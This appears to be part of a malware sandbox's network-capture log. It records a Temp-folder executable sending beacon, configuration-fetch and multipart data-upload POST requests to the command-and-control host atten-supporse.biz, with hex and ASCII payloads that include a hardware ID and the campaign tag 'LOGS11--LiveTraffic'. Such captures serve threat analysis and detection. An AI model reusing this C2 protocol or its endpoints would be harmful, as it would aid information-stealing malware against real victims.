2024-12-10 01:50:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-10 01:50:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49898	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 01:51:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 01:51:26 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o2oe8n630ltag15o6c0uom9gfv; expires=Fri, 04-Apr-2025 19:38:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=94VX1LvlsuNT600dG%2BZP%2FOrixS%2BA1JxA5DkVqHzYQjHsPjfBIMBiXFZ%2B0s3dk9viwovC4IqVqogaya3Ru6XJlYyZAc%2F5%2FEQuotv6vrP3AzRCW9wrLKVlx55fKhOJtlATbHxsSGE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef996fc1b9742f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1619&rtt_var=613&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1777236&cwnd=195&unsent_bytes=0&cid=56b48a90be0a50c7&ts=862&x=0"
2024-12-10 01:51:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 01:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49905	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 01:51:28 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 01:51:29 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1o85onbk23e9c2el4sgqfobpc; expires=Fri, 04-Apr-2025 19:38:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f7l%2BcGg%2BEkgxeq1FA3oQs%2Flm5MM9odLYEAM8hrIZYLRHoYLRC9X%2FERvsH3CkFyDJx4Sy5uYyB3KdW6zc%2FDHjG9cHUDeqwWU%2BS8NATxmnO%2FOfdjA8cwi%2BfNwMWtU3bi1P04%2Fdadg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9970c0e01de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1483&rtt_var=561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1944074&cwnd=221&unsent_bytes=0&cid=b407781e8c20b065&ts=738&x=0"
2024-12-10 01:51:29 UTC	342	IN	Data Raw: 34 39 31 63 0d 0a 55 42 36 4f 6d 59 4c 39 73 53 57 33 2f 47 7a 37 78 54 33 4b 47 79 43 62 37 78 6a 64 68 73 6b 74 6d 6c 45 63 5a 6b 36 7a 49 70 45 72 50 50 69 37 75 4d 6d 64 42 38 53 5a 54 73 47 78 54 37 39 2b 44 4c 6d 4f 66 50 2b 38 72 30 7a 32 49 6e 6c 4b 62 4d 56 50 73 32 70 34 37 2f 58 78 6d 4a 30 48 30 6f 52 4f 77 5a 35 47 36 48 35 4f 75 64 55 36 75 4f 79 72 54 50 59 7a 66 51 30 68 77 30 37 79 4f 48 4c 70 38 65 65 65 31 55 54 62 6b 51 6d 65 6f 46 79 67 64 55 6e 32 68 33 58 2f 71 75 74 49 34 48 4d 6d 52 41 50 57 56 76 41 64 66 2f 33 79 6f 49 43 64 58 70 57 5a 41 74 6e 2f 48 36 74 2b 51 76 65 4a 66 4c 62 75 6f 55 58 2b 4d 6e 67 4d 50 74 70 45 2b 54 68 38 36 76 44 74 6c 38 46 4a 30 5a 59 43 6d 4b 70 63 36 44 63 43 2f 70 55 36 35 36 54 34 66 66 73 69 62 Data Ascii: 491cUB6OmYL9sSW3/Gz7xT3KGyCb7xjdhsktmlEcZk6zIpErPPi7uMmdB8SZTsGxT79+DLmOfP+8r0z2InlKbMVPs2p47/XxmJ0H0oROwZ5G6H5OudU6uOyrTPYzfQ0hw07yOHLp8eee1UTbkQmeoFygdUn2h3X/qutI4HMmRAPWVvAdf/3yoICdXpWZAtn/H6t+QveJfLbuoUX+MngMPtpE+Th86vDtl8FJ0ZYCmKpc6DcC/pU656T4ffsib
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 62 4e 5a 4d 73 32 6f 38 36 76 58 68 6b 74 4e 56 33 5a 55 46 6e 4c 56 55 6f 58 52 50 2b 59 42 77 73 4f 65 72 53 50 49 35 63 51 34 6f 33 45 33 31 4d 6e 79 73 74 61 43 59 79 77 65 4e 33 69 32 63 74 31 69 6b 62 77 44 44 7a 57 58 78 2f 65 74 49 39 48 4d 6d 52 43 54 55 51 2f 41 35 63 2b 2f 7a 36 34 33 54 56 64 4f 54 43 34 75 68 57 71 5a 7a 51 65 75 48 64 4c 6e 6e 6f 6b 54 78 4e 6e 6b 41 62 4a 38 41 39 43 6f 38 74 4c 76 42 6b 74 68 4c 33 34 6b 4f 32 62 67 52 73 54 6c 46 39 63 30 69 2f 2b 43 71 53 2f 6b 33 63 41 6f 6f 33 55 62 39 50 33 50 71 38 65 43 59 32 55 2f 64 6e 77 4f 53 71 46 2b 74 64 45 62 2f 67 58 75 36 70 4f 55 50 2f 79 73 2b 58 47 7a 2f 52 2f 41 67 50 74 6e 34 37 70 48 55 55 5a 57 42 51 49 44 6e 57 4b 51 35 47 72 6d 44 66 37 44 32 71 6c 33 39 50 57 77 Data Ascii: bNZMs2o86vXhktNV3ZUFnLVUoXRP+YBwsOerSPI5cQ4o3E31MnystaCYyweN3i2ct1ikbwDDzWXx/etI9HMmRCTUQ/A5c+/z643TVdOTC4uhWqZzQeuHdLnnokTxNnkAbJ8A9Co8tLvBkthL34kO2bgRsTlF9c0i/+CqS/k3cAoo3Ub9P3Pq8eCY2U/dnwOSqF+tdEb/gXu6pOUP/ys+XGz/R/AgPtn47pHUUZWBQIDnWKQ5GrmDf7D2ql39PWw
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 65 51 35 50 74 6e 34 37 70 48 55 55 5a 57 42 51 49 44 6e 57 4b 51 35 47 72 6d 41 63 72 72 68 70 45 37 79 50 58 73 4f 49 4e 6c 4f 38 43 42 7a 36 50 76 73 6c 39 6c 4b 32 35 6f 47 6b 4b 78 55 72 6e 6c 44 38 38 30 30 2f 2b 4f 7a 44 36 42 7a 53 67 4d 67 33 45 2b 78 42 33 2f 69 39 65 65 4a 6b 31 69 62 68 30 36 65 71 78 2f 77 4f 55 37 77 6a 58 47 31 34 4b 74 49 39 54 5a 39 41 79 2f 63 52 2f 6b 38 65 2b 6a 33 36 5a 4c 56 52 39 4b 61 43 34 75 69 56 71 52 31 41 72 66 4e 66 61 65 6b 38 77 2f 58 4e 47 67 48 41 39 4a 52 2b 6e 4a 6a 6f 75 4b 67 6d 4e 38 48 6a 64 34 4a 6e 4b 39 55 72 6e 46 43 36 34 68 30 74 4f 57 68 53 66 6b 2b 63 67 49 73 30 45 44 31 50 6e 7a 72 2f 50 4b 4e 31 6b 48 48 6c 45 37 58 35 31 69 77 4f 52 71 35 75 32 71 6f 39 62 30 4e 7a 54 42 77 43 69 76 48 Data Ascii: eQ5Ptn47pHUUZWBQIDnWKQ5GrmAcrrhpE7yPXsOINlO8CBz6Pvsl9lK25oGkKxUrnlD8800/+OzD6BzSgMg3E+xB3/i9eeJk1ibh06eqx/wOU7wjXG14KtI9TZ9Ay/cR/k8e+j36ZLVR9KaC4uiVqR1ArfNfaek8w/XNGgHA9JR+nJjouKgmN8Hjd4JnK9UrnFC64h0tOWhSfk+cgIs0ED1Pnzr/PKN1kHHlE7X51iwORq5u2qo9b0NzTBwCivH
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 72 71 39 75 57 51 32 56 58 64 6b 41 4f 53 71 46 53 36 65 55 2f 39 67 58 36 33 37 36 45 50 74 6e 4e 35 48 47 79 4a 41 4d 59 2f 63 2b 7a 34 39 74 2f 4d 43 63 7a 65 43 5a 58 6e 42 2b 68 31 54 50 6d 43 64 72 50 76 6f 30 37 30 50 58 6b 42 4a 64 6c 49 34 54 4e 34 35 50 72 75 6b 4e 4a 44 30 4a 73 4b 6e 71 4e 5a 70 7a 6b 4d 75 59 70 69 2f 37 7a 72 59 4e 38 47 50 43 55 57 6b 56 2b 39 4b 7a 7a 72 39 36 44 48 6b 30 76 57 6b 67 61 57 6f 56 61 6b 63 30 76 79 67 58 47 37 36 4b 4a 4b 2f 6a 4a 37 41 53 33 56 54 50 6b 30 66 2b 2f 30 37 35 44 62 42 35 76 65 43 59 48 6e 42 2b 68 63 56 66 4b 44 66 50 2f 37 35 56 61 34 4e 48 4a 45 64 4a 46 4d 2b 6a 52 36 36 66 66 68 6d 64 74 43 33 5a 6f 50 6e 36 46 63 70 33 31 48 2b 49 4a 2b 73 2b 71 68 54 76 6b 2f 64 51 73 6e 31 41 43 39 63 Data Ascii: rq9uWQ2VXdkAOSqFS6eU/9gX6376EPtnN5HGyJAMY/c+z49t/MCczeCZXnB+h1TPmCdrPvo070PXkBJdlI4TN45PrukNJD0JsKnqNZpzkMuYpi/7zrYN8GPCUWkV+9Kzzr96DHk0vWkgaWoVakc0vygXG76KJK/jJ7AS3VTPk0f+/075DbB5veCYHnB+hcVfKDfP/75Va4NHJEdJFM+jR66ffhmdtC3ZoPn6Fcp31H+IJ+s+qhTvk/dQsn1AC9c
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 6d 6e 74 5a 4e 32 5a 6b 4c 6b 71 68 54 36 44 63 43 2f 70 55 36 35 36 53 46 52 4f 73 6b 66 51 6f 6e 78 31 75 7a 4c 54 4c 31 75 2b 65 54 6b 78 2b 56 6e 51 57 53 6f 31 2b 6b 65 55 62 30 6a 57 69 77 34 36 78 47 38 79 46 30 41 79 76 61 53 50 67 39 65 76 37 33 37 6f 33 57 56 63 66 65 51 4e 6d 67 52 2b 67 68 41 73 2b 4b 61 71 2f 6e 36 58 37 75 4d 47 67 50 49 64 30 41 37 48 78 6c 72 50 7a 73 33 34 73 48 30 35 45 48 6d 71 68 65 6f 58 56 50 2f 49 52 2f 76 75 4b 76 52 66 49 7a 65 41 49 74 31 45 72 77 4d 33 62 6c 2f 4f 69 59 30 46 57 56 30 45 36 65 76 78 2f 77 4f 57 76 2b 6e 33 53 76 70 4c 51 42 34 58 4e 35 43 47 79 4a 41 50 63 34 63 2b 6a 38 37 4a 6e 57 51 64 69 66 41 5a 69 6e 55 4b 78 79 53 2f 2b 4d 64 37 72 70 72 31 33 79 4f 48 45 49 4a 64 31 4e 73 33 77 38 36 2b Data Ascii: mntZN2ZkLkqhT6DcC/pU656SFROskfQonx1uzLTL1u+eTkx+VnQWSo1+keUb0jWiw46xG8yF0AyvaSPg9ev737o3WVcfeQNmgR+ghAs+Kaq/n6X7uMGgPId0A7HxlrPzs34sH05EHmqheoXVP/IR/vuKvRfIzeAIt1ErwM3bl/OiY0FWV0E6evx/wOWv+n3SvpLQB4XN5CGyJAPc4c+j87JnWQdifAZinUKxyS/+Md7rpr13yOHEIJd1Ns3w86+
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 52 74 4f 4d 44 70 53 74 54 61 4a 79 52 2f 53 41 64 37 7a 69 72 55 54 30 49 58 63 45 4c 39 6f 41 76 58 4a 37 39 4c 75 34 33 2f 42 51 77 35 51 4a 6c 62 46 55 71 58 70 55 39 4a 30 36 38 61 53 36 53 4f 6c 7a 4a 68 49 38 78 6b 66 73 66 47 57 73 2f 4f 7a 66 69 77 66 54 6c 77 69 65 6f 56 47 36 66 45 54 32 67 6e 4f 32 34 4b 4e 4d 2b 44 64 36 41 79 6e 53 54 50 67 31 66 2b 50 2f 36 5a 48 61 53 4a 58 51 54 70 36 2f 48 2f 41 35 59 2b 4b 4f 64 72 4b 6b 74 41 48 68 63 33 6b 49 62 49 6b 41 2f 7a 78 35 37 50 48 6d 6d 39 5a 42 33 35 73 4f 6b 71 52 51 72 48 39 47 39 6f 31 78 74 75 57 74 53 76 49 34 65 41 6b 76 31 30 61 7a 66 44 7a 72 34 36 44 48 6b 32 66 4f 6b 77 4b 65 35 30 44 6d 59 41 4c 2b 67 54 72 6e 70 4b 42 44 2f 44 52 2b 43 53 2f 5a 52 66 63 34 65 65 7a 7a 38 70 66 Data Ascii: RtOMDpStTaJyR/SAd7zirUT0IXcEL9oAvXJ79Lu43/BQw5QJlbFUqXpU9J068aS6SOlzJhI8xkfsfGWs/OzfiwfTlwieoVG6fET2gnO24KNM+Dd6AynSTPg1f+P/6ZHaSJXQTp6/H/A5Y+KOdrKktAHhc3kIbIkA/zx57PHmm9ZB35sOkqRQrH9G9o1xtuWtSvI4eAkv10azfDzr46DHk2fOkwKe50DmYAL+gTrnpKBD/DR+CS/ZRfc4eezz8pf
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 45 36 65 73 52 2f 77 4f 58 79 35 6e 33 6d 76 35 36 52 65 78 6e 4d 6d 48 52 4b 52 53 2b 55 31 62 4f 2f 74 36 35 4c 66 56 75 76 65 56 73 33 31 44 66 6f 72 45 4f 62 4e 5a 59 43 71 36 30 36 34 61 30 63 64 62 4d 63 41 71 32 41 79 72 4f 6d 67 78 35 4d 41 31 6f 77 63 6e 36 52 4a 71 7a 35 38 78 36 70 73 74 65 4f 37 53 4f 38 38 50 6b 70 73 33 67 43 72 43 7a 7a 6c 2f 50 75 4f 78 55 72 46 6d 55 36 6d 36 52 2b 77 4f 52 71 35 75 48 6d 78 36 71 78 5a 36 58 35 5a 45 69 62 57 55 50 51 6c 63 36 79 31 6f 4a 6d 54 48 34 62 51 54 70 32 32 48 2f 41 70 45 4b 4c 59 4b 65 69 30 2b 56 43 32 4b 6a 34 53 62 49 6b 53 76 58 4a 75 72 4b 4f 67 32 4e 42 56 78 35 67 4e 6a 36 51 59 6c 6b 64 6c 34 34 42 38 71 50 57 56 63 66 38 70 63 77 49 37 77 41 7a 6d 4d 58 4c 69 2f 50 62 66 6e 51 66 61 Data Ascii: E6esR/wOXy5n3mv56RexnMmHRKRS+U1bO/t65LfVuveVs31DforEObNZYCq6064a0cdbMcAq2AyrOmgx5MA1owcn6RJqz58x6psteO7SO88Pkps3gCrCzzl/PuOxUrFmU6m6R+wORq5uHmx6qxZ6X5ZEibWUPQlc6y1oJmTH4bQTp22H/ApEKLYKei0+VC2Kj4SbIkSvXJurKOg2NBVx5gNj6QYlkdl44B8qPWVcf8pcwI7wAzmMXLi/PbfnQfa
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 6b 66 72 47 67 43 6f 64 30 6f 35 4c 48 34 47 4b 68 68 59 55 6f 31 6b 56 61 7a 61 69 36 69 75 2f 4c 66 69 77 65 53 6e 52 79 4c 6f 56 79 2b 65 67 58 48 73 31 32 78 34 36 70 5a 36 43 52 78 4f 68 4c 45 51 2f 30 38 65 2f 72 71 6f 4e 47 54 53 4a 58 47 4e 39 6e 76 48 35 63 33 41 75 48 4e 49 76 2f 52 71 45 48 32 4e 47 67 56 59 66 5a 4f 39 44 4e 71 2f 4f 7a 76 33 35 30 48 30 39 35 57 79 2b 6b 66 72 47 67 43 6f 64 30 6f 35 4c 48 34 47 4b 68 68 59 55 6f 31 6b 56 61 7a 61 69 36 69 75 2f 4c 66 69 77 65 53 6e 52 79 4c 6f 56 79 2b 65 67 58 48 73 31 32 78 34 36 70 5a 36 43 52 78 53 77 4c 6e 59 63 30 4d 61 65 2f 31 37 70 6a 46 56 70 58 51 54 70 62 6e 42 35 45 35 43 72 6d 79 4e 50 2f 38 36 78 65 34 42 6e 30 4b 49 74 5a 57 34 6e 39 62 34 76 7a 68 69 63 4e 51 32 74 45 67 72 Data Ascii: kfrGgCod0o5LH4GKhhYUo1kVazai6iu/LfiweSnRyLoVy+egXHs12x46pZ6CRxOhLEQ/08e/rqoNGTSJXGN9nvH5c3AuHNIv/RqEH2NGgVYfZO9DNq/Ozv350H095Wy+kfrGgCod0o5LH4GKhhYUo1kVazai6iu/LfiweSnRyLoVy+egXHs12x46pZ6CRxSwLnYc0Mae/17pjFVpXQTpbnB5E5CrmyNP/86xe4Bn0KItZW4n9b4vzhicNQ2tEgr
2024-12-10 01:51:29 UTC	1369	IN	Data Raw: 39 56 4f 79 4f 61 72 6a 61 6c 57 4c 71 4e 47 34 48 62 75 42 57 38 44 4a 79 36 37 75 75 33 38 73 48 6a 64 34 6a 69 36 42 50 71 7a 6b 4d 75 59 45 36 35 36 53 6d 58 66 38 6a 66 55 67 72 79 30 65 7a 4c 54 4c 31 75 2f 62 66 69 78 53 62 33 68 7a 5a 2f 78 2f 76 64 30 2f 34 6a 6e 53 38 39 72 6c 4a 2b 79 56 39 51 78 4c 76 62 65 45 31 62 4f 2b 35 30 5a 4c 58 55 63 43 64 48 70 36 5a 59 59 56 72 52 65 6d 4f 4f 4a 50 6a 70 6b 50 47 44 55 6b 56 4b 38 45 43 31 54 46 71 37 37 75 75 33 38 73 48 6a 64 34 6a 69 36 42 50 71 7a 74 75 2f 6f 42 32 2f 2f 76 6c 56 72 67 6c 50 6c 78 2f 6e 77 44 68 63 69 53 73 76 4f 4f 4e 77 55 48 57 69 41 33 65 6d 57 47 46 61 30 58 70 6a 6a 69 4f 36 61 39 5a 37 54 42 75 41 78 4c 76 62 65 45 31 62 4f 2b 35 78 61 57 52 64 73 4f 64 44 70 65 67 48 2b Data Ascii: 9VOyOarjalWLqNG4HbuBW8DJy67uu38sHjd4ji6BPqzkMuYE656SmXf8jfUgry0ezLTL1u/bfixSb3hzZ/x/vd0/4jnS89rlJ+yV9QxLvbeE1bO+50ZLXUcCdHp6ZYYVrRemOOJPjpkPGDUkVK8EC1TFq77uu38sHjd4ji6BPqztu/oB2//vlVrglPlx/nwDhciSsvOONwUHWiA3emWGFa0XpjjiO6a9Z7TBuAxLvbeE1bO+5xaWRdsOdDpegH+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49915	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:31 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DM2YG8VFZL10E9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: atten-supporse.biz
2024-12-10 01:51:31 UTC	12817	OUT	Data Raw: 2d 2d 44 4d 32 59 47 38 56 46 5a 4c 31 30 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 44 4d 32 59 47 38 56 46 5a 4c 31 30 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 4d 32 59 47 38 56 46 5a 4c 31 30 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 4d Data Ascii: --DM2YG8VFZL10E9Content-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--DM2YG8VFZL10E9Content-Disposition: form-data; name="pid"2--DM2YG8VFZL10E9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DM
2024-12-10 01:51:32 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=22enfkor4h680age8o1pu1fu3b; expires=Fri, 04-Apr-2025 19:38:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MySzWsoDODJGj4SMPsLdHi3pn3cGvK1HLkRKyNkYidM%2Bp01ox6xjroE%2BuwZ2esxSmTvBUHt96T0zNcCzWOeyoluD2GC6lbG%2F4xIA9qYorm1MNzOptPEbdipRAp6KdthqLKh4Pqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9971ed8eb0c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1515&rtt_var=572&sent=11&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13755&delivery_rate=1927392&cwnd=77&unsent_bytes=0&cid=f2d681cae0f11d72&ts=939&x=0"
2024-12-10 01:51:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49923	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:33 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T6U8YQG5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: atten-supporse.biz
2024-12-10 01:51:33 UTC	15023	OUT	Data Raw: 2d 2d 54 36 55 38 59 51 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 54 36 55 38 59 51 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 36 55 38 59 51 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 54 36 55 38 59 51 47 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --T6U8YQG5Content-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--T6U8YQG5Content-Disposition: form-data; name="pid"2--T6U8YQG5Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--T6U8YQG5Content-Di
2024-12-10 01:51:34 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=172p00q7t1cm505unh3squjog0; expires=Fri, 04-Apr-2025 19:38:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8G1fSOZNkhxljPqq%2Biso3rRsQt8hXMMKizBT805A70fe5by8I6wYyTAG6XUo8v%2Bb%2FM9ifHNzVaUBdsT3vYQ%2FipKx4QuiM4l8yjxiM2Q%2Fk1zb6MY1z4unHXVNJI7b3ckxFSmrc9g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9972e6e5141c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1557&rtt_var=598&sent=14&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15955&delivery_rate=1808049&cwnd=205&unsent_bytes=0&cid=090eef93b3d84f19&ts=999&x=0"
2024-12-10 01:51:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49930	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:36 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QLHBIMUS8JCXVHKC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: atten-supporse.biz
2024-12-10 01:51:36 UTC	15331	OUT	Data Raw: 2d 2d 51 4c 48 42 49 4d 55 53 38 4a 43 58 56 48 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 51 4c 48 42 49 4d 55 53 38 4a 43 58 56 48 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 4c 48 42 49 4d 55 53 38 4a 43 58 56 48 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --QLHBIMUS8JCXVHKCContent-Disposition: form-data; 